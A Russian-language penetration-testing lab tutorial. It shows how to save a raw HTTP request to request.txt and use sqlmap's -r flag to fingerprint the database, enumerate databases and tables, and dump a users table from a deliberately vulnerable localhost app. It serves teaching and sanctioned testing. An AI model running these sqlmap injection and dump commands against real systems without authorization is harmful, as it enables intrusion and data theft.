Введение
В этой лабораторной работе вы изучите мощный метод использования sqlmap, популярного инструмента для тестирования на проникновение с открытым исходным кодом, для обнаружения уязвимостей SQL-инъекций. Вместо того чтобы напрямую указывать целевой URL, вы захватите полный HTTP-запрос с помощью прокси-инструмента, такого как Burp Suite или ZAP, сохраните его в файл, а затем укажете sqlmap использовать этот файл для процесса сканирования. Этот метод особенно полезен при работе со сложными запросами (например, POST-запросами с множеством параметров, пользовательскими заголовками или токенами аутентификации) или когда вы хотите воспроизвести конкретный запрос без его ручной реконструкции. К концу этой лабораторной работы вы будете уверенно использовать захваченные HTTP-запросы для более точного и гибкого тестирования SQL-инъекций с помощью sqlmap.
Захват полного HTTP-запроса с помощью Burp Suite или ZAP
На этом шаге вы научитесь захватывать полный HTTP-запрос с помощью инструмента веб-прокси. Хотя Burp Suite и ZAP являются распространенным выбором, для простоты и во избежание сложностей с графическим интерфейсом в этой лабораторной работе, основанной на терминале, мы симулируем захват запроса, напрямую конструируя необработанный HTTP-запрос для уязвимого веб-приложения.
Сначала убедимся, что наше фиктивное уязвимое веб-приложение доступно. Откройте новый терминал и используйте curl для отправки запроса к нему.
curl http://localhost/sqli_test/index.php?id=1
Вы должны увидеть вывод, похожий на этот, подтверждающий, что приложение запущено:
id: 1 - Name: Alice<br>
Теперь мы вручную создадим необработанный HTTP-запрос, который sqlmap сможет использовать. Этот запрос будет нацелен на параметр id, который уязвим для SQL-инъекций.
nano ~/project/request.txt
Вставьте следующее содержимое в файл request.txt. Это представляет собой простой GET-запрос к нашему уязвимому приложению.
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Сохраните файл, нажав Ctrl+X, затем Y для подтверждения и Enter для сохранения в request.txt.
Сохранение необработанного запроса в текстовый файл (например, request.txt)
На предыдущем шаге вы уже создали и сохранили необработанный HTTP-запрос в файл ~/project/request.txt. Этот файл теперь содержит всю необходимую информацию для sqlmap, чтобы понять цель и как с ней взаимодействовать, включая HTTP-метод (GET), путь (/sqli_test/index.php), параметры (id=1) и различные HTTP-заголовки.
Чтобы проверить содержимое файла, вы можете использовать команду cat:
cat ~/project/request.txt
Вывод должен отобразить тот же HTTP-запрос, который вы вставили:
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Этот файл request.txt теперь готов к использованию sqlmap.
Использование флага -r для загрузки файла запроса
На этом шаге вы узнаете о флаге -r в sqlmap. Флаг -r указывает sqlmap загрузить HTTP-запрос из указанного файла вместо того, чтобы требовать URL напрямую в командной строке. Это крайне важно для сканирования сложных запросов или повторного воспроизведения захваченного трафика.
Базовый синтаксис использования флага -r следующий:
sqlmap -r < request_file > [options]
Где <request_file> — это путь к файлу, содержащему ваш необработанный HTTP-запрос. В нашем случае это будет ~/project/request.txt.
Прежде чем запускать полное сканирование, давайте проведем простой тест, чтобы убедиться, что sqlmap может правильно разобрать файл. Мы будем использовать опцию --url с фиктивным URL, просто чтобы удовлетворить требование sqlmap к цели, но фактический запрос будет поступать из файла. Это распространенная практика при использовании -r.
sqlmap -r ~/project/request.txt --url="http://localhost/sqli_test/index.php" --fingerprint
Опция --fingerprint пытается идентифицировать серверную систему управления базами данных (DBMS). Если sqlmap успешно обработает файл запроса, он начнет процесс определения характеристик. Вас могут попросить ответить на вопросы; для этой лабораторной работы вы обычно можете принять параметры по умолчанию, нажав Enter или y.
Вы должны увидеть, как sqlmap начинает свой процесс, указывая, что он читает из файла. Ищите вывод, похожий на следующий:
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r18600)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 12:34:56 /2023-10-27/
[12:34:56] [INFO] parsing HTTP request from '/home/labex/project/request.txt'
...
Это подтверждает, что sqlmap корректно загружает запрос из request.txt.
Выполнение сканирования с помощью sqlmap -r request.txt
Теперь, когда вы понимаете, как загружать файл запроса, пришло время выполнить полное сканирование на SQL-инъекции с помощью sqlmap с флагом -r. Мы будем использовать несколько распространенных опций, чтобы сделать сканирование более эффективным.
Команда будет выглядеть следующим образом:
sqlmap -r ~/project/request.txt --batch --dbs
Разберем эти опции:
-r ~/project/request.txt: Загружает HTTP-запрос из файлаrequest.txt.--batch: Запускаетsqlmapв неинтерактивном режиме, автоматически отвечая "да" на большинство запросов. Это полезно для написания скриптов или когда вы знаете, чего ожидать.--dbs: Перечисляет базы данных системы управления базами данных (DBMS). Это распространенный первый шаг для обнаружения доступных баз данных.
Выполните команду:
sqlmap -r ~/project/request.txt --batch --dbs
sqlmap теперь начнет процесс сканирования. Он будет тестировать различные методы SQL-инъекций против параметра id в запросе. Поскольку наше демонстрационное приложение уязвимо, sqlmap в конечном итоге должен выявить уязвимость и перечислить доступные базы данных.
Вы увидите много вывода по мере того, как sqlmap выполняет свои тесты. Ищите строки, указывающие на обнаружение уязвимости и перечисление баз данных.
Пример фрагмента вывода:
...
[12:35:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.0' injectable (UNION query (NULL))
...
available databases [2]:
[*] information_schema
[*] testdb
...
Этот вывод подтверждает, что sqlmap успешно определил параметр id как уязвимый и обнаружил базу данных testdb, которую мы создали при настройке.
Проверка того, что сканирование нацелено на правильные параметры из файла
На этом заключительном этапе мы подтвердим, что sqlmap правильно определил и нацелился на параметр id из нашего файла request.txt. Это крайне важно для обеспечения того, чтобы ваш захваченный запрос интерпретировался должным образом.
Когда sqlmap запускается, он обычно определяет уязвимые параметры. Вы можете наблюдать это в выводе предыдущего шага. В частности, ищите строки, в которых упоминается "GET parameter 'id' appears to be... injectable".
Для дальнейшей проверки давайте попробуем извлечь данные из таблицы в нашей базе данных testdb. Мы будем использовать опцию --dump, а также укажем базу данных и таблицу.
Сначала перечислим таблицы в testdb:
sqlmap -r ~/project/request.txt --batch -D testdb --tables
Вы должны увидеть, как sqlmap определяет таблицу users:
...
Database: testdb
[2 tables]
+-------+
| users |
+-------+
...
Теперь извлечем данные из таблицы users:
sqlmap -r ~/project/request.txt --batch -D testdb -T users --dump
Эта команда предписывает sqlmap извлечь все записи из таблицы users в базе данных testdb, используя запрос, загруженный из request.txt.
Вы должны увидеть данные из таблицы users, подтверждающие, что sqlmap успешно использовал уязвимость через параметр id, указанный в вашем захваченном запросе:
...
Database: testdb
Table: users
[3 entries]
+----+---------+
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+
...
Это подтверждает, что sqlmap правильно разобрал файл request.txt, определил параметр id и успешно использовал уязвимость SQL-инъекции для извлечения данных.
Резюме
В этой лабораторной работе вы успешно научились использовать мощный флаг -r в sqlmap для сканирования на наличие уязвимостей SQL-инъекций с использованием файла захваченного HTTP-запроса. Вы начали с понимания концепции захвата необработанных HTTP-запросов, затем вручную создали файл request.txt, представляющий GET-запрос к уязвимому приложению. Затем вы использовали sqlmap -r request.txt для инициирования сканирований, сначала для определения типа базы данных (fingerprinting), а затем для перечисления баз данных и извлечения данных из конкретной таблицы. Этот метод обеспечивает огромную гибкость, позволяя тестировать сложные сценарии, воспроизводить определенный трафик и более плавно интегрировать sqlmap в ваш рабочий процесс тестирования на проникновение веб-приложений. Овладение этой техникой является ценным навыком для любого специалиста по безопасности или энтузиаста.


